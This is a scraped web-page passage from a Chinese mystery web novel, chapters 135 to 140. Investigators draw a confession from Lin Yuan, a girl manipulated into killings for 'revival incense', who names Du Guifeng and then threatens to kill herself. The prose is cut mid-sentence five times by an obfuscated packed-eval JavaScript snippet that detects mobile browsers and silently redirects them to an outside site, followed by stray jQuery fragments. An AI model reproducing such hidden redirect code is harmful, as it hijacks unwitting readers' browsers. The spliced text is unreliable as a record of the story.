在反应过来自己的行为后,她眼神里闪过一丝疑惑。 她安排这一切,不就是想让冷萤死吗?为何此时内心竟有一丝不畅快? 就在那名死士拖着步伐,慢慢移到冷萤身后。 林苑不知受了何种蛊惑,突然对冷萤喊了句:“快让开!” 在察觉到自己做了什么以后,她的表情就像是突然见到鬼了一样! 第一百三十五章 偷袭 冷萤的目光一直在探寻着池底,全副心思都在担心方骅。 直到…… 她瞧见眼前的池面上,有一道更大的身影完全包裹住自己的倒影。 随之,那道身影动了下,渐渐朝她伸出了手。 千钧一发之际,她迅速抽身闪到一旁。身后的黑影扑了个空,因为惯性之势,直直地掉落进血池里。 同一时刻,冷萤虽是成功地避让了死士的偷袭,却因为她躲开时太用力,脚步一下没站稳,眼见着要摔进血池里。 “冷姐姐,小心!”远处,珊瑚惊慌失措的声音传来。 她摔下去的那一瞬间,看见有三个身影朝自己这处移动而来。 有快有慢,却都已经来不及救她了。 冷萤认命地紧紧闭起双眼,等待身体落入冰冷血池时,带给她的那股透彻凉意与血腥之气。 突然! 一双手将她的整个身体托举起来。 有人救了她? 她惊讶地睁开眼,却猛地跌进一双深邃又后怕的眸子里。 “你没事?太好了!”方才一直担心的人出现在自己眼前,冷萤顾不得其他,激动地问了句。 她完全没意识到,自己目前整个身子是直愣愣地垂直在血池上方。而刚出血池的方骅,只能用一双手将她整个人托举着,避免她落入池水中。 别看方骅依旧是一副平静无波的样子,实际水下的双腿已经要轮出火星子了。 “那个……”男人忍到青筋爆出,发觉让冷萤自己起身也不大可能。便费力将脑袋转向愣在一旁的珊瑚,大声道:“还不快过来帮忙!” 珊瑚和姜小四这才彻底反应过来,两个一人拉起冷萤,一个朝方骅递出了手。 “冷姐姐,你没事吧?”珊瑚拉起冷萤后,有些后怕又有些担心地问道。 冷萤朝她摇摇头,表示自己没事。直到这时,她才倏然发觉,自己方才是以什么姿势在与方骅对话。 也是难为他了…… “你没事吧?”她有些抱歉地问道。 对方摇了摇头,对他们说起了正事:“你猜得没错,有我和姜小四会游水,一会儿便一人带一个,到了洞口再分别出去。” 他安排得很合理,众人听完都点头同意。 只是…… 他们四人是安排好了,剩下的人怎么办呢? 冷萤看了眼还在昏迷的卢辉,和站得离他们不远的林苑,还有一群倒下的死士与守卫。 方骅明白她心中所想,说道:“出去后,我会让陈全去报官。这里的人一个都跑不掉。” 这是自然,人一旦做错事,便要接受相应的处罚。 只不过…… 冷萤总觉得,林苑对他们其实还是有所隐瞒。 一个人,再怎么内心扭曲,也不可能凭空变出一堆东西,助她瞬间从一个手无缚鸡之力的小女孩,变成一个手握多条人命的杀人狂魔。 除非,她是背后有人相助。 那个紫色面具人没有这么大的本事,那就说明林苑背后,还有另外一个人。 珊瑚见冷萤站在原地半晌未出声,问道:“冷姐姐,你是想到什么了吗?” 被她叫回神的冷萤,目光茫然地看向珊瑚。 见她不知是因为方才一直在对付死士,还是着急的原因,额头上浸出细密的汗珠。 她记得,上一次见到珊瑚累到满头大汗,还是在那晚夜市上追着凌风跑之时…… 等等! 想到这里,冷萤的目光瞬间变得犀利! 看着林苑站在不远处,眼神一直看着他们这处,眼底却不再有方才的倨傲与恶意。 在感受到她投来的目光时,对方也不再回以挑衅的眼神,而是一副随你们怎么处置的无所谓。 她越过几人,径直走到林苑身前,直接询问:“你认识凌风吗?” 林苑虽有些不明所以,但还是坦然答道:“不认识,他是谁?” 见她表情不像假装,但那日凌风确实进了胭脂铺,并且与陆引是前后脚的距离,这人怎么可能不知道? 想到这里,她目光慢慢沉下,问道:“你确定没见过凌风?” 对方好似不耐烦地皱了皱眉,觉得她很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547127|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦一样,再次回道:“杀人之事我都认了,认识一个人我有什么好撒谎的?” 被她这么一说,冷萤居然觉得有些道理。 因为她突然想起,第二日凌风也去过胭脂铺。如果他们之间认识,对方不可能答应与他们一同进去。 除非,他们那日全程都在假装。 于是,她再次问道:“你诱陆引去胭脂铺的那晚,有个穿紫衣的男人也与她前后脚进了里面,你不可能不清楚。” 毕竟,她那日是将陆引诱去杀害的,怎么可能放无关之人进去? 其实,冷萤在说到紫衣男人时,林苑的表情就已经慢慢发生了变化。 方骅这时也走了上来,耐心听完她们的对话,猜测道:“或许,在你这里……他不叫凌风?” 他一语点醒梦中人。 不仅让冷萤一瞬间愣在了原地,更让林苑本就变得难看的表情里,倏地染上了慌张。 看 着不再无所谓,甚至有些不敢正眼瞧她的林苑。 她开口问道:“我相信你不认识凌风,但那个紫衣男人你总应该认识吧?他在你们那里……叫什么名字?” 林苑固执地垂着眼,许久后才慢慢开口:“事已至此,你们杀了我吧!” 见她一副破罐子破摔的模样,冷萤静静注视她许久,突然开口:“方才我差点掉入血池,我听见有个人叫我小心,是你吗?” 女孩的脸倏地一白,冷声道:“不是我。” “是吗?”冷萤点点头,转移了话题:“其实我还有件事情觉得很奇怪。” 直到这时,林苑的目光才终于落在了冷萤身上。 “我在想,为何你的父母从未出现过?我们也算是见过好几面了,连卢辉的父亲我们也见过,却唯独没有见过你的。”冷萤问道。 预料之中的,没有回答。 不过,她也不在意,只是继续问道:“难道你囚禁了自己父母,或者……杀了他们?” 女孩猛地抬眼,恶狠狠地盯着冷萤道:“我没有!我承认确实给他试过回生之香。但弑父杀母……这种事情我绝不会做!” 第一百三十六章 他想干什么? 她说这句话时,语气里满是不甘。 冷萤不懂为何她会有这种情绪,但对方不肯将事情完全交代清楚,她只能一步步诱导她说出。 “哼……” 这时,方骅冷哼了一声,满是讽刺意味道:“一个个如花的女孩你都下得了毒手,杀了自己的亲生父母,对你来说好像也不是什么难事。” “住口!” 谁知他话音刚落,林苑便立刻反驳:“是!我曾经非常恨他们。他们将我当成一个没有情绪的畜生。从小便不能交友、不能念书,甚至连门都不能出。” 林苑满脸狞意,继续道:“除了每时每刻闻那些破香料,便是日复一日地用那些香味相同,但品质极差的香材,调出我曾闻过的昂贵香料,给他们拿去集市上售卖。” 冷萤觉着自己好似听懂了,又好似没听懂。 “你是说,你父母让你闻那些贵重的香料后,再让你找出同样香气但不同品质的香材,调制出那些昂贵香料的替代品?”她因为惊讶,又将对方的话捋了一遍。 方骅倒是有些不信:“真有那么多相同气味,却品质不同的香材供你调配?” 林苑这时得意一笑,讽刺道:“你们可能做不到,但这种事情对我来说不值得一提。” 珊瑚轻嗤:“这世上又不是你一人有这种能力,难道别人都不懂吗?明明有相同气味的廉价香材,为何非要买贵的?他们又不是冤大头!”说完,她看向姜小四,“你说是不是?” 姜小四默默无语,随后伸手,表情格外真诚。 (反正我没有这种能力。) 珊瑚瞬间噎住,白了他一眼。 “那些购买昂贵香料的,你以为他们大多数真的只是为了那缕香气吗?”林苑嘲笑道:“真是个土包子。就连那些在我爹娘摊上买替代品的穷人,也不全是为了那香气。” 珊瑚不服道:“那你说,他们是为了什么?” “为了身份,”对方毫不犹豫,用一种理所当然的语气道:“有钱人需要彰显他们身份的东西,最好是能让人一接触便能感受到。而那些买代替品的,则是为了追求。” 或许有真爱那些香气的,不过是极少数罢了。 看着被她说愣在原地的珊瑚,林苑继续道:“所以,不管是贵价香料,还是廉价替代品。他们都有固定的购买人群,无需你们在这里操心。” “谁……谁操心了!”珊瑚结结巴巴回了一句,然后转过脸对姜小四道:“你,明日帮我调一种独一无二的香料,姑奶奶要香死那些人。” (不要)白发少年果断拒绝,甚至觉得她心里出了问题。 “好了,不要把话题扯远了。”方骅在一旁越听,眉头皱得越紧。 他目光如炬看着林苑,问道:“你还没回答,你父母究竟在哪里?” “在家。”这次,林苑倒是毫不犹豫地回了他。 说完后,见眼前几人看向自己的表情不一,她愤怒道:“我不是他们,并没有将他们绑在家中。” “是吗?”方骅却不信她。 “我骗你们干什么?”女孩抬起眼,直视他道:“他们只是不能出门而已,我可没有虐待他们。” 听到这里,冷萤总算抓住了重点,开口就问:“他们为何不能出门?” 方才还对答如流的林苑,被冷萤一句话问住,闭上了嘴。 “他们没有被绑住,却不能出门?”方骅讽刺一笑,“这是个什么说法?” 冷萤想起卢辉对他描述的场景,不由问道:“你用回生之香控制住了他们?” “都说了……”林苑对冷萤的问话反应特别大,“我没有对他们怎么样!” 说完,她不愿直视对面女子的清澈眼眸,将视线转到一旁,好半晌才道:“我爹娘,他们病了。” 珊瑚贱贱地问了一句:“不是用了太多回生之香才病的?万一……” 在察觉对方看过来时的表情,仿佛是想要将自己生吞活剥,她有些心虚地咳了声,感觉自己要是再说下去,怕是又要打一场了。 “什么样的病?”冷萤问。 不肯看她的女孩对着虚无摇了摇头,别扭道:“我不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547128|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但与卢辉母亲的症状有些像。” 冷萤还没来得及说话,女孩立刻撇清关系:“不要用这种眼神看我,和我没关系!” “什么时候发生的事?”方骅问。 林苑想了想,答道:“就在我捡到‘回生之香’香方的后面几日。” “那这么说,”冷萤想了想,猜测:“你的父母与卢辉的母亲,几乎同时得的病?” 对方迟疑地点了点头。 这一点冷萤倒是完全没预料到。 卢辉在说起时,应当也不清楚林苑父母是什么情况,所以他们得到的线索并不完整。 脑袋里繁杂的线条,有几条好似连在了一起。 她抬头看向方骅,发现对方也看着自己,便直接开口道:“你觉不觉得很巧?” 方骅点点头,答道:“有些事情,几乎是同时发生的。这巧合到……不得不让人多想。” 另外几人,根本不知道他们在打什么哑谜,只有林苑听懂了他们的言外 之意。 见到她表情一下变得迷惘,冷萤轻叹一声问道:“你难道从未觉得有什么不对吗?” 对方还在嘴硬:“能有什么不对?我做的事情反正都已承认,随便你们怎么想。” 见她还是执迷不悟,方骅指着血池上方挂着的尸体厉声道:“他们与你无冤无仇,还有那几个女孩。你为何非要杀了他们?” “我愿意!” “就凭‘你愿意’这三个字,就可以肆意剥夺无辜之人的生命吗?”这次换成冷萤质问。 对方再次沉默。 见她这副“说不清、嚼不烂”之态,冷萤语气冰冷道:“你就继续隐瞒吧,除非你想置你父母与卢辉母亲的性命于不顾!” 这句话,终于引起了女孩的反应。 她猛地转过头,用危险到极致的目光死死盯着冷萤道:“你们想干什么?” 见终于激起了对方的情绪,冷萤浅浅舒了口气,引导着对方:“不是我们想干什么,你该问问一直在你背后的那个人,他究竟想干什么?” 第一百三十七章 熟悉的把戏 再怎么偏激、狠毒之人,在提到自己的亲人时,表情也会浮现一丝动容。 林苑也不例外。 如果之前他们的每次质问,对林苑来说都无足轻重的话。冷萤的这句威胁,却是实实在在地让她铜墙铁壁般的防备,有了一丝松动。 可惜,这点松动伴随着动容之态,在众人全都瞧过去时,收敛得干干净净。 “这不可能,他只是来帮我的!” “好,那我问你!”方骅见她执迷不悟:“你在拾到香方后,是不是身边就陆续出现一些你以前从未见过的人?” 林苑并未回答,但表情已经告诉了众人答案。 方骅继续问道:“林家与卢家的生活方式与进食习惯相同吗?为何会同时得了症状相同,却连许多大夫都查不出的病症?” 还有最重要的一点。 “听你们描述这种病反应很是严重,为何拖了好几年,却从未出过什么大事?” 方骅三连问,句句问得林苑无话可说。 这时,被姜小四拖到墙角,还贴心盖了一件外衣的卢辉醒了过来。 他听见方骅在讨论自己母亲的病情。 在听见最后一问时,他激动地上前接过话道:“公子说是没错,我母亲的病情便是这样,明明眼见着好了不少,又会突然发作。我就觉得很奇怪,每每父亲只要称病不想去夜市卖瓷瓶,母亲当天就会病情复发。” 讲到这里,他还有些不好意思地瞧了林苑一眼,小声道:“我当时……还以为是她做的手脚。” 被他提起的人听罢,犀利的目光顿时扫过去,只吓得他慢慢退到姜小四的身后。 在收回可怕的目光后,林苑好似陷入了沉思。 冷萤乘胜追击,问出自己方才心中所猜想的事:“林苑,回回你父母病情发作时,那个人是不是都让你去杀人,然后取新鲜血液制成回生之香喂下,他们的病情才会好转?” 正在沉思的女孩,听见冷萤说的这句话后,倏地抬起一脸惊讶地看向她。 喃喃道:“你怎么知道?” 见她还是没想明白,冷萤淡声提醒:“你不觉得这种把戏很熟吗?你可否,还记得栈香铺的宁掌柜,和那个被你杀掉的宁幺儿?” 经她的提醒,女孩好似终于明白了什么,踉跄地退了两步不停地摇头,也不知是在反驳冷萤的说法,还是在怀疑自己之前的错信。 “不可能的……他说过的,只要取纯净之人的鲜血调制成的回生之香,便能将我爹娘和卢辉娘亲体内的恶疾驱除。到时她们不仅能恢复原样,身体还比以前更好。” 冷萤不可置信地看着她,没想到居然真会有人信这种莫须有的言论。 这样的话要在陵县随意说出,是会被百姓当成邪灵打出去的! 令她没想到的是,这一套说辞在沉水镇居然能骗到人。并且还有人,为这种滑稽至极的言论作恶,取血杀人,残害自己的同类。 沉水镇虽小,好歹也经常接纳南来北往的商行,怎会无知到这种地步? 不光是冷萤不敢相信,其余的几人除了卢辉,全都露出难以置信的表情。 “之前卢辉看见你爹咬你娘,究竟是怎么回事?”事情进展到这里,冷萤当然不会单纯地以为,那日林苑是真的在报复自己爹娘。 好久没回神的林苑,听她问起这事,像木头人一般回道:“他说,回生之香需要契合的纯净血液做引子,才能对症下药。我从林子里回来没几日,我爹便第一次病发,我因为着急便将首次调出的回生之香,用在了他的身上。” 说到这里,她居然还轻叹了一口气道:“没想到我的血居然不管用,也可能是不够纯净吧。在他喝下回生之香没多久后,便发了狂。我以为……这是治疗的必经过程。” 不对,她的回答有问题。 既然,她以为回生之香是救命的香料,为何又要拿这个来控制那些死士和卢辉呢? 明明她在第一次用此香时,就在自己父亲身上看见了此香的可怕。 但听她的回答,又不像是在撒谎。 如果她没有撒谎,那只能说明一件事…… “你老实回答我,”冷萤冷眼瞧着对方,面无表情地问道:“这些死士,到底是不是你用回生之香豢养的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547129|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是!”对方完全没有犹豫,立马就回答了她。 她皱眉,继续问道:“你难道不知道,他们用了这些香会神经错乱,发狂失智吗?” 林苑似乎有些没懂她的话,不解道:“可是……我见到他们时,他们就是这样的了。如果我不喂回生之香给他们,他们就会痛苦死去的。” 见对方不信,她还加了一句:“我只是让他们成为我的助力,又不是真想害死他们。” 她的话让在场的人,全都无力地叹出一口气。 那个人到底给林苑喂了什么迷魂药,让她这么相信那个破香方就是万能药? “我怎么觉着像个邪教似的。”珊瑚低声与冷萤耳语。 其实冷萤早就有这种感觉了,她相信方骅与姜小四同她们的感受一样。 “你有没有想过一件事,”冷萤有些无力地问她:“这些人为 什么会从一个正常人变成现在这个样子?如果你再继续执迷不悟下去,你的父母还有卢辉的母亲,以后都会变成这样!” “不……不可能。” 女孩这次反驳她时,已经没了之前的理直气壮。 卢辉也在一旁激动道:“对啊,这怎么可能!我母亲是绝对不会变成这样的!” 面对他俩的固执,冷萤只能不停地用深呼吸来平复自己的怒火。 方骅拍了拍她的肩让她休息一下,换他来。不然放任一个人这样不停地问下去,可能会有性命危险。 于是,他转向旁边一脸懵懂的卢辉,问道:“你的母亲,是不是每次在服用回生之香后便会好转一些,可没过多久又会发作?” “是的。” “想知道为什么吗?”方骅问他。 见对方急切地点点头,他才道:“因为你母亲第一次病情发作前,便被人喂了回生之香。” “发作之前……吗?”少年似是还未完全想明白。 方骅见状,继续道:“因为那香方里含有让她情绪瞬间兴奋,并立即上瘾的东西。少量服用时不明显,只会偶感身体不适。但如果服用过量,她便会突然情绪发狂。这次,听明白了吗?” 第一百三十八章 杜桂风 少年盯着方骅,努力想理解他话中的意思。 他的表情,从懵懂到惊讶再到愤怒,这些情绪的转换全都落到了冷萤眼中。 也是…… 他又何其无辜,要卷入这一系列的案件中去。 少年喃喃道:“这世间……怎会有如此害人的方子?” “那就要问她和她背后的那个人了。”方骅话音刚落,在场所有人的目光全都聚集在林苑身上。 女孩见往日对她言听计从的卢辉,也同那些人一样满脸怀疑地看着她。 她慢慢地朝后退了两步,一边摇头一边道:“不是我……真的不是我,我只是想治好他们。那香方上的香材并不齐全,里面有一味药,回回都是他亲手放进去的。我问过是什么,但他不肯告诉我。” 方骅一步一步朝她逼近,语气严厉道:“‘他’究竟是谁?” 冷萤方才差点落水时,女孩着急朝前跳了几步,这时她所站的位置离血池并不远。 或许是男人气场太强大的缘故,在对方朝她逼近时,她慢慢一小步一小步退到了血池边缘。 “快告诉我,你背后的那个人到底是谁?”见她一直往后退却怎么都不肯说一句,方骅略显急躁地又问了一遍。 或许是他的表情太过严肃,女孩退无可退后大喊一声:“你不要过来,再过来我就跳下去,这样你们什么都无法知道了!” 他顿时停下脚步,察觉到自己心急,特意放缓语气道:“好,我不过来,你不要激动。” 站在血池边的女孩,目光扫视在场的众人。 她发现了,这些人虽然方才一直在逼问她。可当她真的有危险时,他们目光最先流露出的……还是担心。 就连那个穿着黄色衣衫,平时说话凶巴巴的女子,也是如此。 那么,她的要求……他们应该会答应吧? “阿苑,你先过来。他们都是好人,有什么事情我们可以好好说。”卢辉伸出一只手,想要拉林苑过来。 冷萤也赶紧道:“我们方才逼问你,也只是想问出幕后指使之人,你不要紧张……” “我没紧张。”林苑立刻打断她的话,倔强的目光落在冷萤身上,缓缓问道:“阿萤姐姐,我还可以这样叫你吗?” “当然可以。” 女孩见她同意,紧张的情绪稍稍放松了些,再次开口道:“阿萤姐姐,我可以告诉你们那个男人是谁,但你们要答应我一件事情。” 见她提出要求,冷萤也没有犹豫,点头应承:“如果是我们能做到的……” “这件事情,只有你们能做到。”林苑毫不犹豫回道。 “你先说说看。”冷萤不是一个人,当然不敢随意答应。 见对方还是不完全相信自己,林苑扬起一抹凄楚的笑。 通常这种笑容,是不会出现在年纪轻轻的女孩身上,可林苑就这么怔怔地看着他们,倏然笑出了两行泪。 “我知道……”一滴泪再次滑过女孩的脸庞,她继续道:“阿萤姐姐早就不信任我了。但是,在整个沉水镇我却只信任你们。” “你至少先说出你的要求,这样我们才知道能不能帮上这个忙。”方骅见她一直哭,却什么都不愿意说,忍不住说道。 女孩身上的轻纱无风自起,有一缕不小心沾到了血池里的血水,那缕紫纱瞬间洇开化为了暗色。 她低垂下头想了想,片刻又抬起头看向冷萤道:“我想请求你们保护我爹娘和卢辉一家。” “我们的确会保护……”冷萤正做准备回答,突然察觉到她的请求里好似落下了一个人,皱眉问道:“那你呢?” “不用管我,”女孩打断了她,低眉抚摸有胎记的半边脸道:“自记事起,我好像从未开心过,活得也并不轻松。那日在胭脂铺,我其实是有目的地接近你。” 慢慢抬起眼,她目光看向冷萤:“但你的一番话,让我忘了自己那日的目的。虽然后来……不过也是值得的。” “后来怎么了?”冷萤察觉到她话中的不对劲。 林苑苦笑一瞬,纤弱的身子好似要被身后的轻纱带走。 见眼前那总是表情恬淡的女子,此时正一脸担心地看着自己,林苑平生第一次,感觉到被人全心重视的温暖感觉。 她本什么都不准备说的。 但那样温暖的目光下,林苑不由自主就开了口:“他那日给我的任务,就是想办法同你们交好。我没有完成……自然好过不了。” “他对你做了什么?” 女孩笑了笑无所谓道:“都不重要了。他为了控制我,给我喂过不少东西。你以为最可怕的是‘回生之香’吗?那阿萤姐姐就太天真了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547130|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “他嘴上说着的全都是为了我好,可在极致的痛苦下,我也曾有一丝怀疑过,他究竟是不是在骗我。” “阿苑……”卢辉轻声叫她。 林苑并未理他,而是继续对冷萤道:“可我又能怎么办?我不能放任我爹娘不管啊。” “可是林叔他们……一直那样对你。”少年没忍住,还是开了口。 林苑转头看向他,回道:“那又怎样?他们生我养我,即便是从未真心待过我, 但他们是我世上唯一的亲人了。” 听她这样说,冷萤有些动容。 但有些事,还需得问清。 于是,她开口问道:“你在拾到香方时,他就找上了你?” 林苑这次回答得很干脆:“是的。我爹在集市上晕倒,我娘一人搬不动我爹。那个男人他刚好路过搭了把手,帮我娘将昏迷的爹送了回来。” 冷萤问:“然后呢?” “然后……他说自己手上有让人疾病尽消的香方,可惜在去采香材的路上,落在了林子里。” “他说的,便是你拾到的那张香方?” “对,他说我只要将香方的香料找齐,然后调制好交给他。他自会将我父亲治好。”女孩答道。 “所以你信了他,喂你爹喝下了经过他手的‘回生之香’。”方骅语气肯定道。 林苑颔首:“谁知,我爹喝了后立刻便发了狂。然后他……他说是因为我的血不够纯净,需要找到更加匹配和纯净的年轻少女血液。那一年……是我第一次杀人……” “你当时那般小,是如何下的手?”方骅问道。 “是那个戴面具的男人带我去的。他先将人抓住,然后告诉我割哪里会大出血,最后……他再一步步教我如何杀人放血,处理尸体。”林苑艰难地说道。 冷萤想了想,问道:“为何杀完人后要将尸体弃于林间,特意在尸体旁边点上香?” 女孩的眼睫闪了闪,躲开冷萤与方骅太过有穿透力的目光,轻声道:“抛尸是他要求的。点香……是我做的。没有理由……” 见她不愿意说,冷萤与方骅也没再逼问,现在最重要的是问出那个是谁! 谁知,他们还没来得及再次开口问询,女孩便开了口:“那个男人告诉我,他叫……” “杜桂风……” 第一百三十九章 黑痣 在林苑说出那个人的名字后…… 所有人都陷入诡异的沉默当中。 片刻,冷萤首先开口打破周身的寂静,喃喃道:“我没听错吧?” 还没等林苑与卢辉搞清她在问什么,方骅冷着声回道:“你没听错。” “所以,凌风是谁?”珊瑚问道。 姜小四也皱紧眉头看向冷萤,仿佛想从她那里找到答案。见对方的表情与自己差不多,他又将目光转向了方骅。 “你们怎么了?难道……早就认识他吗??”林苑也发觉到现场的奇怪氛围。 冷萤不知如何回林苑,她一直在回想他们几人与凌风接触的那几次。 几人先是一进沉水镇就遇见了凌风……不对杜桂风中毒。 在他们刚发现这座小镇有连环杀人案的下一瞬,对方便“无意间”透露有人在尸体旁边发现了莲花座香插,将线索引到别处。 只是有一点很奇怪。 他明明知道自己当晚会去卢家夫妇的小摊,为何还这样心急地将香插之事告知他们? 除非…… 他一开始根本就没准备杀陆引。 那这就很奇怪了…… 想到这里,她朝林苑问道:“那日陆引去胭脂铺后发生了什么?” 杀人这样深刻的回忆,林苑自然记得很清楚。 如今,她也没什么好再隐瞒的了。 所以当冷萤一开口,她就立刻回答道:“起初,杜桂风只是让我与陆引搞好关系,说她以后有大用处。” “什么用处?”冷萤问道。 “他没说清,”对方摇了摇头,回道:“只说让我们瞧清栈香坊中有无一尊菩萨像。然后说,等哪日将她引到胭脂铺一趟,但暂时不要动她。” “可为何后来又杀了她?” 林苑表情顿时变得有些复杂,开口道:“也不知怎的,那日他本是不来胭脂铺的,只说让我将陆引留在胭脂铺就行。可谁知陆引刚进来没多久,他便来了。一来,两人就吵了起来。” “他们俩吵了起来?”方骅顿觉奇怪。难道……这两人原本就认识? 女孩点头,好似很正常道:“陆引她说话的方式也许是触到了他哪处逆鳞,总之两人在里面吵了好久。等他走出来后,便让我和面具人进去杀了陆引。” 冷萤忙开口问道:“你听清他们吵什么了吗?” 她想了想,开口道:“好像说‘菩萨像’来着,还有‘什么假……什么动’,总之零零碎碎吵了很多,我听得最清楚的便是他说陆引骗了他。” 陆引……骗了杜桂风? 这两个完全没有交集的人,是如何认识的? 方骅突然想到,那日,他与姜小四在引香坊里发现的菩萨像上面的机关。 或者他们当日是太着急了,那菩萨像哪处还有蹊跷,他们并未完全发现。 “出去后,去一趟引香坊。”他低声与冷萤道。 冷萤点头同意,她与他的想法相同。 然后,她朝林苑问道:“你可否再描述一下杜桂风的样子?” 女孩极轻地笑了一下,随后道:“阿萤姐姐,不瞒你说。那日我在胭脂铺里同你们形容的那个男人,其实就是杜桂风的样子。阿辉那时,以为杜桂风就是胭脂铺掌柜的,我便也顺水推舟了。” “即便如此,你形容的也没有我准确。”卢辉忍不住插话道。 珊瑚凑近过来,问他俩:“就是那个右手残疾,年纪偏大,丑死了还是笑面虎,喜欢装模作样和说大话的那个人?” 这次,陆引没再反驳,极慢且重重地点了下头。 也许,她终于意识到了自己曾经的愚昧无知,只是已经太迟了。 她的无知,让她犯下了弥天大错,不仅毁了那么多女孩的一生,和血池上吊着的无辜人的性命。 还有……她自己的一辈子。 忽而,冷萤好似想到了什么,问道:“杜桂风耳垂后面,有没有一颗黑痣?” 女孩听了她的问题,眸中闪过一丝讶异。 “我在凌风的耳后,也看见过一颗黑痣。”冷萤向众人解释道。 方骅听罢,确定道:“这么多巧合,凌风与杜桂风是同一个人无疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547131|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 这次,换珊瑚不懂了:“可是凌风瞧起来年纪和你差不多,可听林苑的描述,杜桂风好似年纪不小了。” 对她们的疑惑,方骅讽刺一笑道:“这样的一个人,到处做尽坏事时,怎么可能没有一点掩饰自己的能力。” “你是说,凌风的模样是杜桂风易容出来的?”冷萤问他。 对方点头道:“有可能。不然要如何解释这两人外表看起来差别那么大?有可能,他连说话的音调与方式都特地训练过。” “好可怕的一个人。”珊瑚瞬间感觉一阵寒意袭上了身,也不知是不是血池边太冷的原因。 “我们先出去吧。”冷萤提议道。 见所有人都赞同,她转头问卢辉:“会游水吗?” 卢辉点点头。 见会游水的人又多了一个,冷萤转头对方骅道:“不如,卢辉同我一起,让珊瑚带着林苑。” 既然已经知道了林苑杀人的前 因后果,再将她与卢辉留在井洞里,或许不是好的打算。 不如直接将他们带出去,送到官府即可。 方骅想了想,沉声道:“姜小四与卢辉一起,你同我一起。” 既已安排好,珊瑚便转身想喊林苑一起走,却发现原本站在血池边的女孩早就不见了人影。 众人这才发现,几人在商量怎么出去时,林苑不知何时移到昏迷的守卫那处,用其中一人的佩刀割断了捆住她的弦丝。 “林苑,你干什么?”卢辉第一个发现,想跑上前去被她的动作定在了原地。 林苑拿佩刀抵在脖颈处,对他喊了句:“你不要过来!” “你冷静点,先放下刀。”冷萤不敢太大声,怕让对方更加激动。 珊瑚也不着痕迹地朝前走了一步,声音放低道:“对啊,你先放下刀,不要做傻事。” 所有人紧张的目光,顿时都集中到林苑身上。 可她的眼睛却只看向了冷萤。 “阿萤姐姐,对不起。我之前不该那样对你的,其实……其实我真的很喜欢你替我妆上的半边莲。” 第一百四十章 林苑之死 “我知道,你先过来。” 冷萤朝林苑伸出手,重重地点了下头,表示自己都明白。 见对方不肯过来,冷萤用余光看见方骅正朝后方慢慢退去,心里当下松了口气。 谁知,女孩的目光径直朝向方骅,面无表情道:“不要想着救我了,我做下这许多错事,死不足惜。” 冷萤自然知道她做下了多少错事,但无论怎样,她不能就在这里自裁。 且不说这样的行为有多么不负责。 不仅是对她自己,还有那许多的受害者。 她既已知道自己害了这么多的人,就更应该出去将杜桂风的恶行公之于众,避免有人受到他的蛊惑而再次步入歧途,成为受害者。 所以,趁着此时林苑注意力正在方骅那处,她悄无声息地朝前移了两步。 谁知,她的行为又再一次被敏锐的林苑发现。 这次女孩并未再开口说话,而是警惕地看向众人,一步一步地往后退去,一直退到了血池边上。 在场所有人的脚步,也只好都跟着她慢慢移过去。 见林苑晃晃悠悠地站在边缘,他们谁都不敢再大声讲话,生怕一句不对,便会让对方情绪激动做出傻事。 “你们不用对我这样小心翼翼,我这个人的命本就不值钱。只是……阿萤姐姐,你们答应我,一定要照顾好我爹娘。”她哀求道。 